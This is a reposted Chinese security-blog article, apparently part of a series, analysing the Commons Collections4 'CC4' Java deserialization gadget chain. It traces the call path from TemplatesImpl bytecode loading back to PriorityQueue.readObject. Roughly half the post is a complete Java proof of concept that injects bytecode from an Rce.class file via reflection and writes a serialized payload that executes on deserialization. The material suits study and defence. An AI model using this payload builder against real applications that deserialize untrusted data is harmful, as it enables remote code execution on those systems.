文章总结: 本文详细分析了Java反序列化中的ApacheCommonsCollections4的CC4利用链。作者指出CC4链本质上是CC2链与CC3链的组合,其触发源点为PriorityQueue类的readObject方法,最终执行点为TemplatesImpl动态加载恶意字节码。文章通过逆向追踪方法调用,完整还原了从sink到source的调用路径,并给出了包含反射修改属性与序列化反序列化操作的完整可执行POC代码。该文对理解Java反序列化漏洞机制具有较高的参考价值。 综合评分: 75 文章分类: 代码审计,漏洞分析,漏洞POC
【代码审计】CC4链
原创
十月的进阶之路 十月的进阶之路
十月的进阶之路
2026年6月6日 11:39 中国香港
在小说阅读器读本章
去阅读
Commons-Collections4 4.0
本文我们来介绍最后一条利用链CC4,由于在之前的文章中已经详细介绍过其他的利用链,而CC4链可以看做是CC3和CC2的组合,source点使用的是CC2链中PriorityQueue类下的readObject方法,sink点为CC3链的TemplatesImpl动态恶意字节码加载,因此整体而言没有什么新奇的地方。我们来整体过一遍,详细的细节就不再重复。从TemplatesImpl中的内部类TransletClassLoader下的defineClass方法出发。
继续检索defineClass方法的相关引用,发现defineTransletClasses方法中存在defineClass方法的调用。
继续检索defineTransletClasses方法的相关引用,发现getTransletInstance方法中存在defineTransletClasses方法的调用。
继续检索getTransletInstance方法的相关引用,发现newTransformer方法中存在getTransletInstance方法的调用。
继续检索newTransformer方法的相关引用,发现TrAXFilter类下的构造函数中存在newTransformer方法的调用。
继续检索获取构造函数的相关代码,发现InstantiateTransformer类下的transform方法中存在getConstructor获取指定类的构造函数,因此我们可将TrAXFilter类作为input输入,同时将paramTypes(iParamTypes)赋值为Templates.class,args(iArgs)赋值为TemplatesImpl实例。
继续检索transform方法的相关引用,发现TransformingComparator类下的compare调用了transform方法,也就是前一篇文章中的CC2链中的一部分。
继续检索compare方法的上层引用,发现PriorityQueue类下的siftDownUsingComparator方法调用了compare方法。
继续检索siftDownUsingComparator方法的上层引用,发现PriorityQueue类下的siftDown方法调用了siftDownUsingComparator方法。
继续检索siftDown方法的上层引用,发现PriorityQueue类下的heapify方法调用了siftDown方法。
继续检索heapify方法的上层引用,发现PriorityQueue类下的readObject方法调用了heapify方法。
到此我们逆向分析了从sink点到source的整条链路,当然其中有一些判断条件需要满足,都在之前的文章中详细解释过,这里不再赘述,给出最后的完整代码。
package com.test;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.PriorityQueue;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.map.LazyMap;
public class App {
static class ZeroComparator implements Comparator<Object>, Serializable {
@Override
public int compare(Object o1, Object o2) {
return 0;
}
}
public static void main(String[] args) throws Exception{
TemplatesImpl templatesImpl = new TemplatesImpl();
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templatesImpl, "test");
byte[] code = Files.readAllBytes(Paths.get("Rce.class"));
byte[][] codes = {code};
Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templatesImpl, codes);
TransformerFactoryImpl transformerFactoryImpl = new TransformerFactoryImpl();
Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templatesImpl, transformerFactoryImpl);
// templatesImpl.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer<>(TrAXFilter.class),
new InstantiateTransformer<>(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
// chainedTransformer.transform("");
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1),new ZeroComparator());
// transformingComparator.compare(1, 2);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field transformer = TransformingComparator.class.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, chainedTransformer);
serialization_cc4(priorityQueue);
unserialization_cc4("./oob.bin");
}
public static void serialization_cc4(Object object) {
try {
ObjectOutputStream oob = new ObjectOutputStream(
new FileOutputStream("./oob.bin")
);
oob.writeObject(object);
oob.close();
} catch (Exception e) {
// TODO: handle exception
e.printStackTrace();
}
}
public static void unserialization_cc4(String path){
try {
ObjectInputStream objectInputStream = new ObjectInputStream(
new FileInputStream(path)
);
objectInputStream.readObject();
objectInputStream.close();
} catch (Exception e) {
// TODO: handle exception
e.printStackTrace();
}
}
}
到此为止,我们就结束了整个CC链系列的分析。下次再见咯,如果还有下次的话,byby~~
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:十月的进阶之路 十月的进阶之路 十月的进阶之路《【代码审计】CC4链》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








![[译苑雅集Vol.14]Anthropic最新论文:大语言模型没说出口的内心小秘密,藏在一个叫J空间的地方](/images/random/titlepic/13.jpg)

评论